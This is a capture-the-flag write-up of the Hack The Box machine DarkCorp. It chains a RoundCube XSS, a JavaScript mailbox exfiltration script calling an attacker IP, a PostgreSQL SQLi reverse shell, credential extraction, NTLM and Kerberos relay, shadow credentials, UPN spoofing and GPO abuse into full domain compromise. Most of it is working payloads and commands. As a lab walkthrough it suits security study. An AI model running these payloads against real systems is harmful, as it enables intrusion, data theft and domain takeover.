HTB: DarkCorp
Recon
Initial Scanning
Two TCP ports open โ SSH on 22 and HTTP on 80. The OS fingerprint is confusing: OpenSSH and nginx versions scream Debian 12 (Bookworm), but TTL 127 is a Windows hop indicator. HTB tags this as a Windows box, so a Linux VM/container on a Windows hypervisor is likely.
$ nmap -p- -vvv --min-rate 10000 10.10.11.54
Nmap scan report for 10.10.11.54
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -p 22,80 -sCV 10.10.11.54
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open http nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
Subdomain Fuzz
Visiting the IP redirects (via JavaScript) to drip.htb. Since the server is doing host-based routing, subdomain fuzzing is the next logical step. ffuf with auto-calibration picks up a single result:
$ ffuf -u http://10.10.11.54 -H "Host: FUZZ.drip.htb" \
-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
mail [Status: 200, Size: 5323, Words: 366]
Add both to /etc/hosts:
10.10.11.54 drip.htb mail.drip.htb
drip.htb โ TCP 80
The main site is a webmail solutions company page using the Volt Bootstrap theme from Themesberg. Notable features:
- A contact form that POSTs to
/contactโ potential for XSS or user interaction - A mailing list subscribe form that sends a GET to
/index?email=[input]โ likely non-functional - A Signup link at
/signup - A Sign In link redirecting to
mail.drip.htb
Response headers don't reveal much beyond nginx/1.22.1. The 404 page is generic, and feroxbuster finds nothing beyond /index and /contact.
mail.drip.htb
RoundCube webmail instance. Registering on drip.htb creates working credentials here. The "About" dialog reveals the version is 1.6.7. Both session cookies have HttpOnly set โ direct cookie theft via XSS is off the table.
Registering a user named root is interesting: it receives cron-driven emails every two minutes that leak another username (ebelford) and the mail server software (Dovecot).
Shell as postgres@drip
Contact Form โ HTML + Recipient Override
The contact form POST contains two hidden fields: content=text and recipient=support@drip.htb. Both are user-controllable. Changing the recipient to my own account delivers the mail to me instead. Changing content from text to html makes the server render HTML in the email body.
POST /contact HTTP/1.1
Host: drip.htb
Content-Type: application/x-www-form-urlencoded
name=qa210&email=qa210@drip.htb&message=<body>HTML+<b>test</b></body>&content=html&recipient=qa210%40drip.htb
CVE-2024-42009 โ RoundCube Stored XSS
This version (1.6.7) is vulnerable to CVE-2024-42009, a desanitization XSS discovered by Sonar Source. The washtml sanitizer correctly strips dangerous attributes, but the post-processing step that converts bgcolor uses a regex that can be tricked:
# The broken regex:
/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i
# Bypass: nest bgcolor inside another attribute
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
Pwned
</body>
The regex rips out bgcolor=foo" and the leftover quotes collapse, leaving a valid style + onanimationstart handler on the <body> tag.
Loading a Remote Script
To make the payload reusable, I base64-encode a script loader and use eval(atob()):
# Loader payload (base64 of JS that creates a script tag)
PAYLOAD=$(echo -n 'var s=document.createElement("script");s.src="http://10.10.14.8/qa.js";document.head.appendChild(s);' | base64 -w0)
# Full HTML payload
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('${PAYLOAD}')) foo=bar">
Click
</body>
Sending this to bcase@drip.htb triggers the XSS in their browser. Within seconds, a GET request for /qa.js arrives from the target IP.
Email Exfiltration
RoundCube opens individual emails at URLs like /?_task=mail&_action=show&_uid=ID&_mbox=INBOX&_extwin=1. My exfil script iterates through message IDs and POSTs the base64'd content back:
// qa.js โ exfil bcase inbox
for (let i = 1; i <= 20; i++) {
fetch(`/mail/?_task=mail&_action=show&_uid=${i}&_mbox=INBOX&_extwin=1`, {mode:'no-cors'})
.then(r => r.text())
.then(t => fetch(`http://10.10.14.8/exfil?id=${i}&d=` + btoa(t)));
}
A lightweight Flask collector processes the callbacks:
from flask import Flask, request
import base64
app = Flask(__name__)
@app.route('/exfil')
def collect():
mid = request.args.get('id')
data = base64.b64decode(request.args.get('d'))
if b'SERVER ERROR' not in data:
with open(f'bcase_{mid}.html', 'wb') as f:
f.write(data)
print(f'[+] Saved email #{mid}')
return 'ok'
@app.route('/qa.js')
def payload():
return open('qa.js').read(), {'Content-Type':'application/javascript'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Email #2 is the prize โ from ebelford, it reveals a private subdomain: dev-a3f1-01.drip.htb.
Dev Dashboard Access
The dev subdomain hosts a login form. Clicking "Reset Password" and entering bcase@drip.htb sends a reset link to the mailbox. Since we can read bcase's mail, we intercept the link, set a new password, and log in.
The Analytics page at /analytics has a search feature that crashes with a raw PostgreSQL error โ the input is concatenated directly into the SQL query without quoting.
SQLi โ RCE via COPY TO PROGRAM
Stacked queries are enabled, so we can execute arbitrary SQL. The classic Postgres RCE technique uses COPY ... TO PROGRAM, but the word "COPY" is filtered. Bypassing with CHR(67):
'qa210'; DO $$ DECLARE cmd text; BEGIN
cmd := CHR(67) || 'OPY (SELECT $$') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
An alternative RCE path exists via archive_command โ modifying the PostgreSQL config to set archive_command to a reverse shell and reloading the config. The COPY TO PROGRAM method is simpler.
$ nc -lvnp 443
Connection from 10.10.11.54 60444!
bash: cannot set terminal process group (126146): Inappropriate ioctl for device
postgres@drip:/var/lib/postgresql/15/main$
Auth as Victor@darkcorp.htb
Drip Enumeration
The shell runs as postgres on host drip at 172.16.20.3. Three user homes exist (bcase, ebelford, vmail), and there's a .gnupg directory in the postgres home.
Connecting to the database directly reveals the dripmail database with Admins and Users tables. The password hashes are MD5 but only the one I set for bcase cracks.
postgres@drip:~$ psql -d dripmail -c 'SELECT * FROM "Admins";'
id | username | password | email
----+----------+----------------------------------+-----------------
1 | bcase | 465e929fc1e0853025faad58fc8cb47d | bcase@drip.htb
Internal Network
A ping sweep reveals two more hosts on the 172.16.20.0/24 network:
postgres@drip:~$ for i in $(seq 1 254); do ping -c1 -W1 172.16.20.$i 2>/dev/null | grep 'bytes from' & done
172.16.20.1 # DC-01 โ Domain Controller
172.16.20.2 # WEB-01 โ IIS + monitoring app
The /etc/hosts file confirms the hostnames and adds the domain darkcorp.htb.
GPG Backup Decryption
A PGP-encrypted SQL dump sits in /var/backups/postgres/dev-dripmail.old.sql.gpg. The Flask app's .env file in /var/www/html/dashboard contains a database password that doubles as the GPG passphrase:
postgres@drip:~$ gpg --batch --passphrase '2Qa2SsBkQvsc' -d /var/backups/postgres/dev-dripmail.old.sql.gpg
The decrypted dump contains an older version of the Admins table with two extra entries:
COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb
victor.r's hash cracks to victor1gustavo@# on CrackStation. These credentials work against the domain:
$ proxychains -q nxc smb 172.16.20.1 -u victor.r -p 'victor1gustavo@#'
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
Shell as Administrator@WEB-01
Domain Enumeration
With domain creds, standard enumeration reveals MachineAccountQuota = 0 (can't create machine accounts) and ADCS is running with certificate authority DARKCORP-DC-01-CA.
WEB-01's port 5000 serves a monitoring dashboard behind HTTP auth. victor.r's creds work. The Check Status feature at /check lets you pick a target host and port โ the server makes an HTTP request to that target.
Catching NTLM Auth
Pointing the status check at a host we control with Responder captures an NTLM authentication attempt from svc_acc:
$ sudo responder -I tun0
[HTTP] NTLMv2 Client : 10.10.11.54
[HTTP] NTLMv2 Username : darkcorp\svc_acc
[HTTP] NTLMv2 Hash : svc_acc::darkcorp:ffdb62442934ec99:63F597E3C5D43836...
The Net-NTLMv2 hash won't crack, but BloodHound shows svc_acc is a member of DNSADMINS โ they can create/modify DNS records.
DNS Relay + Printer Bug โ Silver Ticket
The attack chain combines three techniques:
- DNS record creation via NTLM relay โ Relay
svc_acc's auth to LDAP and create a fake DNS record pointing to our IP - Printer Bug coercion โ Force
WEB-01$to authenticate to our DNS name - Kerberos relay to ADCS โ Relay the machine account's Kerberos auth to the certificate enrollment endpoint
To relay Kerberos, we need a DNS name that the DC will recognize as DC-01. The trick from the Synactiv post appends a CREDENTIAL_TARGET_INFORMATION structure to the hostname: dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
Step 1 โ Create the DNS record by relaying svc_acc's NTLM to LDAP:
$ proxychains ntlmrelayx.py -t 'ldap://172.16.20.1' \
--add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.8
[*] Added A record dc-011UWhR... pointing to 10.10.14.8
Step 2 โ Set up Kerberos relay targeting the ADCS web enrollment:
$ proxychains krbrelayx.py \
-t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' \
--adcs -v 'WEB-01$'
[*] GOT CERTIFICATE! ID 5
[*] Writing PKCS#12 certificate to ./WEB-01$.pfx
Step 3 โ Trigger printer bug to coerce WEB-01$ into authenticating to us:
$ proxychains printerbug.py 'darkcorp/victor.r:victor1gustavo@#@WEB-01.darkcorp.htb' \
dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
[*] Triggered RPC backconnect
Step 4 โ Authenticate with the certificate and forge a silver ticket:
$ proxychains certipy auth -pfx 'WEB-01$.pfx' -domain darkcorp.htb -dc-ip 172.16.20.1
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675
$ proxychains lookupsid.py -hashes :8f33c7fc7ff515c1f358e488fbb8b675 \
'darkcorp.htb/WEB-01$@DC-01.darkcorp.htb'
[*] Domain SID is: S-1-5-21-3432610366-2163336488-3604236847
$ ticketer.py -nthash 8f33c7fc7ff515c1f358e488fbb8b675 \
-domain darkcorp.htb \
-domain-sid S-1-5-21-3432610366-2163336488-3604236847 \
-spn cifs/web-01.darkcorp.htb Administrator
$ KRB5CCNAME=Administrator.ccache proxychains evil-winrm-py -i web-01 -u administrator -H 88d84ec08dad123eb04a060a74053f21
evil-winrm-py PS C:\Users\Administrator\Desktop> cat user.txt
da2e66e0************************
Auth as john.w@darkcorp.htb
Scheduled Tasks โ DPAPI Creds
WEB-01 has a scheduled task CleanupScript running cleanup.ps1 every 2 minutes as the local Administrator. The CredentialManager PowerShell module is installed, meaning credentials are stored via DPAPI.
PS> Get-ScheduledTask | ? {$_.State -ne "Disabled"} | Select TaskName, @{N="User";E={$_.Principal.UserId}} | ft -a
TaskName User
-------- ----
CleanupScript Administrator
HTB-Stability SYSTEM
Since the scheduled task runs as the Administrator, the DPAPI master keys can be decrypted using the machine context. Both DonPAPI and nxc --dpapi extract the stored credential:
$ KRB5CCNAME=Administrator.ccache proxychains DonPAPI collect -k --no-pass -t WEB-01.darkcorp.htb
[WEB-01] [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:... - WEB-01\Administrator:But_Lying_Aid9!
Running with the Administrator password to access the user DPAPI context reveals a second stored credential:
$ proxychains nxc smb 172.16.20.2 -u administrator -p 'But_Lying_Aid9!' --local-auth --dpapi
[Administrator][CREDENTIAL] LegacyGeneric:target=WEB-01 - Administrator:Pack_Beneath_Solid9!
Password Spray
Spraying Pack_Beneath_Solid9! across all domain users:
$ proxychains nxc smb 172.16.20.1 -u users.txt -p 'Pack_Beneath_Solid9!' --continue-on-success
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\john.w:Pack_Beneath_Solid9!
Auth as angela.w@darkcorp.htb
Shadow Credential Attack
BloodHound shows john.w has GenericWrite over angela.w. This is enough to perform a Shadow Credential attack โ adding a Key Credential to the target object and then authenticating with it:
$ proxychains certipy shadow auto -username john.w -p 'Pack_Beneath_Solid9!' \
-account angela.w -target dc-01.darkcorp.htb
[*] Successfully added Key Credential
[*] Got TGT
[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a
Shell as angela.w.adm@drip
UPN Spoofing
BloodHound shows angela.w.adm is a member of Linux Admins โ an interesting target for the Linux host. The trick is that angela.w and angela.w.adm are separate AD accounts, but by abusing UPN Spoofing (as described by Pen Test Partners), we can make the KDC issue a ticket that the Linux SSSD client interprets as angela.w.adm.
The attack: set angela.w's userPrincipalName to angela.w.adm, then request a TGT with NT_ENTERPRISE principal type so the UPN is used:
$ proxychains bloodyAD -d darkcorp.htb -H dc-01 -u john.w -p 'Pack_Beneath_Solid9!' \
set object angela.w userPrincipalName -v angela.w.adm
[+] angela.w's userPrincipalName has been updated
$ proxychains getTGT.py -hashes :957246c8137069bca672dc6aa0af7c7a \
-principalType 'NT_ENTERPRISE' darkcorp.htb/angela.w.adm
[*] Saving ticket in angela.w.adm.ccache
Transfer the ccache to the Linux host and authenticate with ksu:
ebelford@drip:~$ KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
angela.w.adm@drip:~$
A cleanup script periodically removes the UPN from angela.w. If ksu fails with "TGT has been revoked", re-add the UPN and get a fresh ticket.
Shell as root@drip
angela.w.adm has full sudo privileges:
angela.w.adm@drip:~$ sudo -l
User angela.w.adm may run the following commands on drip:
(ALL : ALL) NOPASSWD: ALL
angela.w.adm@drip:~$ sudo -i
root@drip:~#
Shell as taylor.b.adm@DC-01
SSSD Cached Credentials
The Linux host uses SSSD for AD authentication with cache_credentials = True. The cached password hashes are stored in /var/lib/sss/db/:
root@drip:/var/lib/sss/db# ldbsearch -H cache_darkcorp.htb.ldb '(cachedPassword=*)'
name: taylor.b.adm@darkcorp.htb
cachedPassword: $6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
The SHA-512 crypt hash cracks with hashcat:
$ hashcat -m 1800 taylor.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
$6$5wwc6mW6nrcRD4Uu$9rigmpKLy...:!QAZzaq1
Domain verification:
$ proxychains nxc winrm 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'
WINRM 172.16.20.1 5985 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (Pwn3d!)
$ proxychains evil-winrm-py -i dc-01 -u taylor.b.adm -p '!QAZzaq1'
evil-winrm-py PS C:\Users\taylor.b.adm\Documents>
Shell as Administrator@DC-01
GPO Abuse
taylor.b.adm is a member of gpo_manager, which has GenericWrite on the SecurityUpdates GPO. This GPO is linked to the domain and applies to all machines.
SharpGPOAbuse gets blocked by AMSI, so the Python-based pyGPOabuse is the way to go:
$ proxychains pygpoabuse.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1' \
-gpo-id 652CAE9A-4BB7-49F2-9E52-3361F33CE786 \
-command 'net localgroup administrators taylor.b.adm /add' \
-f
[+] ScheduledTask TASK_0b270770 created!
After gpupdate /force (or waiting for the next refresh), taylor.b.adm becomes a local administrator on DC-01. Now we can dump the entire domain:
$ proxychains secretsdump.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1@dc-01'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
...
$ proxychains evil-winrm-py -i dc-01 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
2dc68348************************
Beyond Root
CVE-2025-49113 โ RoundCube Post-Auth RCE
After the box retired, a new critical RCE was disclosed for RoundCube โค 1.6.10. The vulnerability is a PHP object deserialization via the _from parameter in settings/upload.php.
$ php CVE-2025-49113.php http://mail.drip.htb qa210 qa210 'ping -c 1 10.10.14.8'
### Roundcube โค 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Authentication successful
### Command to be executed: ping -c 1 10.10.14.8
### Exploit executed successfully
ICMP confirmation:
$ sudo tcpdump -ni tun0 icmp
21:27:25.865542 IP 10.10.11.54 > 10.10.14.8: ICMP echo request, id 1000, seq 1, length 64
Reverse shell variant:
$ php CVE-2025-49113.php http://mail.drip.htb qa210 qa210 \
'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'
$ nc -lvnp 443
www-data@drip:/var/www/roundcube$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This gets www-data instead of postgres, but from there the same escalation path applies โ the PostgreSQL service is accessible and the same RCE techniques work.